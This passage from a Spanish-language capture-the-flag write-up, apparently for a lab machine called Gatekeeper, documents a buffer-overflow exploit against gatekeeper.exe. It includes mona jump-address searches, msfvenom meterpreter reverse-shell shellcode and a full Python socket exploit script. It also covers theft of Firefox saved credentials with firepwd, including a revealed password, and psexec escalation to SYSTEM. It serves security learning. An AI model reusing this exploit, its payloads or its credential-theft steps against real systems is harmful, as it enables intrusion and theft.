!mona jmp -r esp -cpb "\x00\x0a"
0BADF00D   !mona jmp -r esp -cpb "\x00\x0a"

           ---------- Mona command started on 2023-10-01 22:27:39 (v2.0, rev 634) ----------
0BADF00D   [+] Processing arguments and criteria
0BADF00D       - Pointer access level : X
0BADF00D       - Bad char filter will be applied to pointers : "\x00\x0a"
0BADF00D   [+] Generating module info table, hang on...
0BADF00D       - Processing modules
0BADF00D       - Done. Let's rock 'n roll.
0BADF00D   [+] Querying 1 modules
0BADF00D       - Querying module gatekeeper.exe
74950000   Modules C:\Windows\System32\wshtcpip.dll
0BADF00D       - Search complete, processing results
0BADF00D   [+] Preparing output file 'jmp.txt'
0BADF00D       - (Re)setting logfile c:\mona\gatekeeper\jmp.txt
0BADF00D   [+] Writing results to c:\mona\gatekeeper\jmp.txt
0BADF00D       - Number of pointers of type 'jmp esp' : 2
0BADF00D   [+] Results :
080414C3     0x080414c3 : jmp esp |  {PAGE_EXECUTE_READ} [gatekeeper.exe] ASLR: False, Rebase: False, SafeSEH: True, CFG: False, OS: False, v-1.0- (C:\bof\gatekeeper\gatekeeper.exe), 0x8000
080416BF     0x080416bf : jmp esp |  {PAGE_EXECUTE_READ} [gatekeeper.exe] ASLR: False, Rebase: False, SafeSEH: True, CFG: False, OS: False, v-1.0- (C:\bof\gatekeeper\gatekeeper.exe), 0x8000
0BADF00D       Found a total of 2 pointers

Identifico dos puntos de salto. Me quedo con uno de ellos y me lo llevo para usarlo en mi exploit. Lo paso por un pequeño script de python para obtener el valor en little endian.

import sys

if len(sys.argv) != 2:
        print("[*] Run:\n\tjump_address.py <jump_point_address>")
        sys.exit(1)

address = sys.argv[1]

n1 = address[0:2]
n2 = address[2:4]
n3 = address[4:6]
n4 = address[6:8]
 
print("\nretn =  " + "\"\\x" + n4 + "\\x" + n3 +"\\x" + n2 +"\\x" + n1+"\"")
❯ python3 jump.py 080414C3

retn =  "\xC3\x14\x04\x08"

Con el valor del punto de salto, actualizo el script de python y compruebo que puedo saltar a mi payload. En el registro EIP se puede ver el valor 080414C3 que es el punto de salto que he usado en el payload.

Prueba del exploit

Antes de atacar la máquina objetivo, voy a probar con mi máquina de pruebas. Usando msfvenom, genero un payload de meterpreter que se conecte a mi equipo en el puerto 4444 y lo meto en el script del exploit.

❯ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 EXITFUNC=process -b "\x00\xa0" -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of c file: 1632 bytes
unsigned char buf[] = 
"\xbf\xe1\xb8\x2d\x7c\xdd\xc6\xd9\x74\x24\xf4\x5b\x2b\xc9"
"\xb1\x59\x31\x7b\x14\x83\xeb\xfc\x03\x7b\x10\x03\x4d\xd1"
"\x94\x4c\xae\x2a\x65\x32\x9e\xf8\x01\x39\xb2\xcc\x42\x6f"
"\x3f\xa6\x07\x9b\xb6\x5d\xa8\x14\x82\xbb\x3c\x28\x3b\xf5"
"\xbd\xfd\xfb\x59\x7d\x9c\x87\xa3\x52\x7e\xb9\x6b\xa7\x7f"
"\xfe\x3d\xcd\x90\x52\xe9\xa6\x3c\x43\x9e\xfb\xfc\x62\x70"
"\x70\xbc\x1c\xf5\x47\x48\x91\xf4\x97\x3b\x61\xef\x9c\x63"
"\x52\x0e\x70\xc3\x17\xd9\x02\xdf\x5e\xeb\x15\x94\x55\x80"
"\xeb\x7c\xa4\x56\x2a\x4f\xca\xfa\xac\x88\xed\xe2\xda\xe2"
"\x0d\x9e\xdc\x31\x6f\x44\x68\xa5\xd7\x0f\xca\x01\xe9\xdc"
"\x8d\xc2\xe5\xa9\xda\x8c\xe9\x2c\x0e\xa7\x16\xa4\xb1\x67"
"\x9f\xfe\x95\xa3\xfb\xa5\xb4\xf2\xa1\x08\xc8\xe4\x0e\xf4"
"\x6c\x6f\xbc\xe3\x11\x90\x3e\x0c\x4c\x06\xf2\xc1\x6f\xd6"
"\x9c\x52\x03\xe4\x03\xc9\x8b\x44\xcb\xd7\x4c\xdd\xdb\xe7"
"\x83\x65\x8b\x19\x24\x95\x85\xdd\x70\xc5\xbd\xf4\xf8\x8e"
"\x3d\xf8\x2c\x3a\x34\x6e\x0f\x12\x70\x6f\xe7\x60\x81\x7e"
"\xab\xed\x67\xd0\x03\xbd\x37\x91\xf3\x7d\xe8\x79\x1e\x72"
"\xd7\x9a\x21\x59\x70\x30\xce\x37\x28\xad\x77\x12\xa2\x4c"
"\x77\x89\xce\x4f\xf3\x3b\x2e\x01\xf4\x4e\x3c\x76\x63\xb0"
"\xbc\x87\x06\xb0\xd6\x83\x80\xe7\x4e\x8e\xf5\xcf\xd0\x71"
"\xd0\x4c\x16\x8d\xa5\x64\x6c\xb8\x33\xc8\x1a\xc5\xd3\xc8"
"\xda\x93\xb9\xc8\xb2\x43\x9a\x9b\xa7\x8b\x37\x88\x7b\x1e"
"\xb8\xf8\x28\x89\xd0\x06\x16\xfd\x7e\xf9\x7d\x7d\x78\x05"
"\x03\xaa\x21\x6d\xfb\xea\xd1\x6d\x91\xea\x81\x05\x6e\xc4"
"\x2e\xe5\x8f\xcf\x66\x6d\x05\x9e\xc5\x0c\x1a\x8b\x88\x90"
"\x1b\x38\x11\x23\x61\x31\xa6\xc4\x96\x5b\xc3\xc5\x96\x63"
"\xf5\xfa\x40\x5a\x83\x3d\x51\xd9\x9c\x08\xf4\x48\x37\x72"
"\xaa\x8b\x12";

Pongo en marcha el listener de metasploit y lanzo el exploit.

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.56.1
lhost => 192.168.56.1
msf6 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.56.1     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Sending stage (175686 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:49426) at 2023-10-01 22:35:32 +0200

meterpreter > getuid
Server username: usuario-PC\usuario
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

La prueba ha sido un éxito, por lo que ya puedo atacar la máquina objetivo.

Explotación de la máquina objetivo

Genero un nuevo payload con el LHOST y LPORT apropiado. En este caso me decido por un puerto standar que no esté siendo usado, como es el 443.

❯ msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 EXITFUNC=process -b "\x00\xa0" -f c

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of c file: 1632 bytes
unsigned char buf[] = 
"\xbf\xf9\xc3\x28\xb4\xda\xc6\xd9\x74\x24\xf4\x5a\x33\xc9"
"\xb1\x59\x31\x7a\x14\x03\x7a\x14\x83\xea\xfc\x1b\x36\xd4"
"\x5c\x54\xb9\x25\x9d\x0a\x8b\xf7\x14\x2f\x8f\x7c\x74\x9f"
"\xdb\xd1\x75\x54\x89\xc1\x8a\xdd\x64\xcc\x1f\x53\x51\x21"
"\xdf\xa2\x61\xed\x23\xa5\x1d\xec\x77\x05\x1f\x3f\x8a\x44"
"\x58\x89\xe0\xa9\x34\x81\x59\x25\x32\xd7\x61\x44\x94\x8f"
"\x12\x06\x6c\xb5\xe5\xf2\xc0\xb4\x35\x71\x80\x96\x3e\xcd"
"\x29\x87\x41\x1e\xcc\xee\x36\x9c\xfe\x0f\xff\x57\x34\x7b"
"\x01\xb1\x04\xbb\xae\xfc\xa8\x36\xae\x39\x0e\xa9\xc5\x31"
"\x6c\x54\xde\x82\x0e\x82\x6b\x14\xa8\x41\xcb\xf0\x48\x85"
"\x8a\x73\x46\x62\xd8\xdb\x4b\x75\x0d\x50\x77\xfe\xb0\xb6"
"\xf1\x44\x97\x12\x59\x1e\xb6\x03\x07\xf1\xc7\x53\xef\xae"
"\x6d\x18\x02\xb8\x12\xe1\xdc\xc5\x4e\x75\x10\x08\x71\x85"
"\x3e\x1b\x02\xb7\xe1\xb7\x8c\xfb\x6a\x1e\x4a\x8a\x7d\xa1"
"\x84\x34\xed\x5f\x25\x44\x27\xa4\x71\x14\x5f\x0d\xfa\xff"
"\x9f\xb2\x2f\x95\x95\x24\xda\x67\x98\x0c\xb2\x75\xdc\x7d"
"\x1f\xf0\x3a\x2d\xcf\x52\x93\x8e\xbf\x12\x43\x67\xaa\x9d"
"\xbc\x97\xd5\x74\xd5\x32\x3a\x20\x8d\xaa\xa3\x69\x45\x4a"
"\x2b\xa4\x23\x4c\xa7\x4c\xd3\x03\x40\x25\xc7\x74\x37\xc5"
"\x17\x85\xd2\xc5\x7d\x81\x74\x92\xe9\x8b\xa1\xd4\xb5\x74"
"\x84\x67\xb1\x8b\x59\x51\xc9\xba\xcf\xdd\xa5\xc2\x1f\xdd"
"\x35\x95\x75\xdd\x5d\x41\x2e\x8e\x78\x8e\xfb\xa3\xd0\x1b"
"\x04\x95\x85\x8c\x6c\x1b\xf3\xfb\x32\xe4\xd6\x7f\x34\x1a"
"\xa4\x57\x9d\x72\x56\xe8\x1d\x82\x3c\xe8\x4d\xea\xcb\xc7"
"\x62\xda\x34\xc2\x2a\x72\xbe\x83\x99\xe3\xbf\x89\x7c\xbd"
"\xc0\x3e\xa5\x4e\xba\x4f\x5a\xaf\x3b\x46\x3f\xb0\x3b\x66"
"\x41\x8d\xed\x5f\x37\xd0\x2d\xe4\x48\x67\x13\x4d\xc3\x87"
"\x07\x8d\xc6";

Actualizo el script de python con el nuevo payload. Lanzo el exploit y compruebo que se ha obtenido una sesión de meterpreter.

import socket

ip = "10.10.223.27"
port = 31337

prefix = "k3ss "
offset = 141
overflow = "A" * offset

retn =  "\xC3\x14\x04\x08"

padding = "\x90" * 16

payload = (
"\xbf\xf9\xc3\x28\xb4\xda\xc6\xd9\x74\x24\xf4\x5a\x33\xc9"
"\xb1\x59\x31\x7a\x14\x03\x7a\x14\x83\xea\xfc\x1b\x36\xd4"
"\x5c\x54\xb9\x25\x9d\x0a\x8b\xf7\x14\x2f\x8f\x7c\x74\x9f"
"\xdb\xd1\x75\x54\x89\xc1\x8a\xdd\x64\xcc\x1f\x53\x51\x21"
"\xdf\xa2\x61\xed\x23\xa5\x1d\xec\x77\x05\x1f\x3f\x8a\x44"
"\x58\x89\xe0\xa9\x34\x81\x59\x25\x32\xd7\x61\x44\x94\x8f"
"\x12\x06\x6c\xb5\xe5\xf2\xc0\xb4\x35\x71\x80\x96\x3e\xcd"
"\x29\x87\x41\x1e\xcc\xee\x36\x9c\xfe\x0f\xff\x57\x34\x7b"
"\x01\xb1\x04\xbb\xae\xfc\xa8\x36\xae\x39\x0e\xa9\xc5\x31"
"\x6c\x54\xde\x82\x0e\x82\x6b\x14\xa8\x41\xcb\xf0\x48\x85"
"\x8a\x73\x46\x62\xd8\xdb\x4b\x75\x0d\x50\x77\xfe\xb0\xb6"
"\xf1\x44\x97\x12\x59\x1e\xb6\x03\x07\xf1\xc7\x53\xef\xae"
"\x6d\x18\x02\xb8\x12\xe1\xdc\xc5\x4e\x75\x10\x08\x71\x85"
"\x3e\x1b\x02\xb7\xe1\xb7\x8c\xfb\x6a\x1e\x4a\x8a\x7d\xa1"
"\x84\x34\xed\x5f\x25\x44\x27\xa4\x71\x14\x5f\x0d\xfa\xff"
"\x9f\xb2\x2f\x95\x95\x24\xda\x67\x98\x0c\xb2\x75\xdc\x7d"
"\x1f\xf0\x3a\x2d\xcf\x52\x93\x8e\xbf\x12\x43\x67\xaa\x9d"
"\xbc\x97\xd5\x74\xd5\x32\x3a\x20\x8d\xaa\xa3\x69\x45\x4a"
"\x2b\xa4\x23\x4c\xa7\x4c\xd3\x03\x40\x25\xc7\x74\x37\xc5"
"\x17\x85\xd2\xc5\x7d\x81\x74\x92\xe9\x8b\xa1\xd4\xb5\x74"
"\x84\x67\xb1\x8b\x59\x51\xc9\xba\xcf\xdd\xa5\xc2\x1f\xdd"
"\x35\x95\x75\xdd\x5d\x41\x2e\x8e\x78\x8e\xfb\xa3\xd0\x1b"
"\x04\x95\x85\x8c\x6c\x1b\xf3\xfb\x32\xe4\xd6\x7f\x34\x1a"
"\xa4\x57\x9d\x72\x56\xe8\x1d\x82\x3c\xe8\x4d\xea\xcb\xc7"
"\x62\xda\x34\xc2\x2a\x72\xbe\x83\x99\xe3\xbf\x89\x7c\xbd"
"\xc0\x3e\xa5\x4e\xba\x4f\x5a\xaf\x3b\x46\x3f\xb0\x3b\x66"
"\x41\x8d\xed\x5f\x37\xd0\x2d\xe4\x48\x67\x13\x4d\xc3\x87"
"\x07\x8d\xc6")

postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
 # s.recv(1024)
  print("Done!")

except Exception as e:
    print(f"An error occurred: {e}")

Con el acceso logrado, lo primero que hago es buscar el fichero user.txt. Lo encuentro sin probremas con el comando search -f user.*.txt

Escalada de privilegios

Ahora hay que encontrar una forma de escalar privilegios. Compruebo que el proceso en el que estoy no tiene privilegios de administrador, y no puedo migrar a otro proceso con privilegios de administrador. Pruego a ejecutar el comando getsystem, pero no funciona, necesito otra opción.

Por suerte, al entrar en el objetivo, he visto un enlace directo a Firefox, algo que puedo aproevhar si obtengo los ficheros key3.db y logins.json. Para ello, ejecuto el comando search -f key.*.db y search -f logins.json. El fichero key3.db se encuentra en C:\Users\usuario\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release y el fichero logins.json se encuentra en C:\Users\usuario\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release.

meterpreter > cd C:\\Users\\natbat\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles
meterpreter > ls
Listing: C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles
=================================================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
040777/rwxrwxrwx  16384  dir   2020-05-15 04:45:02 +0200  ljfn812a.default-release
040777/rwxrwxrwx  0      dir   2020-04-21 23:00:37 +0200  rajfzh3y.default

Aunque no se puede leer el fichero key3.db, si que se puede leer el fichero logins.json. En este fichero se encuentran las credenciales de usuario y contraseña de Firefox. Para poder leer el fichero, lo descargo a mi equipo con el comando download. Una vez obtenidos, los paso a mi equipo y los analizo con el script de python firepwd.py. El script se puede encontrar en:

https://github.com/lclevy/firepwd

La descargo y la ejecuto con python firepwd.py. El script me devuelve las credenciales de usuario y contraseña de Firefox.

❯ cd firepwd
                                                                                                                                                                                         
❯ ll
.rw-r--r-- k3ss k3ss  14 KB Sun Oct  1 23:15:43 2023  firepwd.py
.rw-r--r-- k3ss k3ss 288 KB Sun Oct  1 23:16:43 2023  key4.db
.rw-r--r-- k3ss k3ss  18 KB Sun Oct  1 23:15:43 2023  LICENSE
.rw-r--r-- k3ss k3ss 600 B  Sun Oct  1 23:17:35 2023  logins.json
drwxr-xr-x k3ss k3ss 4.0 KB Sun Oct  1 23:15:43 2023  mozilla_db
.rw-r--r-- k3ss k3ss 120 KB Sun Oct  1 23:15:43 2023  mozilla_pbe.pdf
.rw-r--r-- k3ss k3ss 183 KB Sun Oct  1 23:15:43 2023  mozilla_pbe.svg
.rw-r--r-- k3ss k3ss 7.0 KB Sun Oct  1 23:15:43 2023  readme.md
.rw-r--r-- k3ss k3ss  34 B  Sun Oct  1 23:15:43 2023  requirements.txt
❯ python firepwd.py
globalSalt: b'2d45b7ac4e42209a23235ecf825c018e0382291d'
 SEQUENCE {
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
     SEQUENCE {
       SEQUENCE {
         OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
         SEQUENCE {
           OCTETSTRING b'9e0554a19d22a773d0c5497efe7a80641fa25e2e73b2ddf3fbbca61d801c116d'
           INTEGER b'01'
           INTEGER b'20'
           SEQUENCE {
             OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
           }
         }
       }
       SEQUENCE {
         OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
         OCTETSTRING b'b0da1db2992a21a74e7946f23021'
       }
     }
   }
   OCTETSTRING b'a713739460522b20433f7d0b49bfabdb'
 }
clearText b'70617373776f72642d636865636b0202'
password check? True
 SEQUENCE {
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
     SEQUENCE {
       SEQUENCE {
         OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
         SEQUENCE {
           OCTETSTRING b'f1f75a319f519506d39986e15fe90ade00280879f00ae1e036422f001afc6267'
           INTEGER b'01'
           INTEGER b'20'
           SEQUENCE {
             OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
           }
         }
       }
       SEQUENCE {
         OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
         OCTETSTRING b'dbd2424eabcf4be30180860055c8'
       }
     }
   }
   OCTETSTRING b'22daf82df08cfd8aa7692b00721f870688749d57b09cb1965dde5c353589dd5d'
 }
clearText b'86a15457f119f862f8296e4f2f6b97d9b6b6e9cb7a3204760808080808080808'
decrypting login/password pairs
   https://creds.com:b'mayor',b'8CL7O1N78MdrCIsV'

El usuario es mayor y la contraseña es 8CL7O1N78MdrCIsV. Ahora puedo probar a ejecutar el comando getsystem. Para ello, me conecto a la máquina con el usuario mayor y la contraseña 8CL7O1N78MdrCIsV. Una vez dentro, ejecuto el comando getsystem y compruebo que se ha escalado privilegios.

Para llevar a cabo este ataque, uso el exploit psexec de metasploit. Para ello, primero busco el exploit con el comando search psexec. Una vez encontrado, lo configuro con los parámetros necesarios y lo lanzo.

msf6 exploit(multi/handler) > search psexec

Matching Modules
================

   #   Name                                         Disclosure Date  Rank       Check  Description
   -   ----                                         ---------------  ----       -----  -----------
   0   auxiliary/scanner/smb/impacket/dcomexec      2018-03-19       normal     No     DCOM Exec
   1   exploit/windows/smb/ms17_010_psexec          2017-03-14       normal     Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2   auxiliary/admin/smb/ms17_010_command         2017-03-14       normal     No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3   auxiliary/scanner/smb/psexec_loggedin_users                   normal     No     Microsoft Windows Authenticated Logged In Users Enumeration
   4   exploit/windows/smb/psexec                   1999-01-01       manual     No     Microsoft Windows Authenticated User Code Execution
   5   auxiliary/admin/smb/psexec_ntdsgrab                           normal     No     PsExec NTDS.dit And SYSTEM Hive Download Utility
   6   exploit/windows/local/current_user_psexec    1999-01-01       excellent  No     PsExec via Current User Token
   7   encoder/x86/service                                           manual     No     Register Service
   8   auxiliary/scanner/smb/impacket/wmiexec       2018-03-19       normal     No     WMI Exec
   9   exploit/windows/smb/webexec                  2018-10-24       manual     No     WebExec Authenticated User Code Execution
   10  exploit/windows/local/wmi                    1999-01-01       excellent  No     Windows Management Instrumentation (WMI) Remote Command Execution

Interact with a module by name or index. For example info 10, use 10 or use exploit/windows/local/wmi

msf6 exploit(multi/handler) > use 4
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) >
msf6 exploit(windows/smb/psexec) > set lhost tun0
lhost => x.x.x.x
msf6 exploit(windows/smb/psexec) > set SMBUSER mayor
SMBUSER => mayor
msf6 exploit(windows/smb/psexec) > set RHOSTS 10.10.223.27
RHOSTS => 10.10.223.27
msf6 exploit(windows/smb/psexec) > set SMBDOMAIN gatekeeper
SMBDOMAIN => gatekeeper
msf6 exploit(windows/smb/psexec) > set SMBPASS 8CL7O1N78MdrCIsV
SMBPASS => 8CL7O1N78MdrCIsV
msf6 exploit(windows/smb/psexec) > show options
msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on x.x.x.x:4444 
[*] 10.10.223.27:445 - Connecting to the server...
[*] 10.10.223.27:445 - Authenticating to 10.10.223.27:445|gatekeeper as user 'mayor'...
[*] 10.10.223.27:445 - Selecting PowerShell target
[*] 10.10.223.27:445 - Executing the payload...
[+] 10.10.223.27:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175686 bytes) to 10.10.223.27
[*] Meterpreter session 4 opened (x.x.x.x:4444 -> 10.10.223.27:49218) at 2023-10-01 23:30:04 +0200

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

Ahora que he conseguido acceso privilegiado, puedo buscar el fichero root.txt. Lo encuentro en C:\Users\mayor\Desktop\root.txt.txt. Lo leo y obtengo la flag.

meterpreter > search -f root.*
Found 2 results...
==================

Path                                                                  Size (bytes)  Modified (UTC)
----                                                                  ------------  --------------
c:\Users\mayor\AppData\Roaming\Microsoft\Windows\Recent\root.txt.lnk  558           2020-05-15 04:45:53 +0200
c:\Users\mayor\Desktop\root.txt.txt                                   27            2020-05-15 03:21:09 +0200

meterpreter > cat c:\\Users\\mayor\\Desktop\\root.txt.txt 
{Th3_M4y0r_C0ngr4tul4t3s_U}
meterpreter >

Conclusiones

Esta sala ha sido bastante más difícil que las anteriores, aunque sea de dificultad media. He tenido que investigar bastante para poder encontrar la forma de escalar privilegios usando firefox. Además del script de python firepwd.py, se supone que hay una forma de hacerlo con Hashcat, pero no supe como hacerlo y tampoco quise invertir mucho tiempo en ello, sabiendo que ya hay una forma de hacerlo con el script de python que es relativamente sencilla. Lo aprendido durante esta sala y los apuntes que he guardado me serán de utilidad en el futuro, no me cabe duda.

(◕‿‿◕) Hack the planet!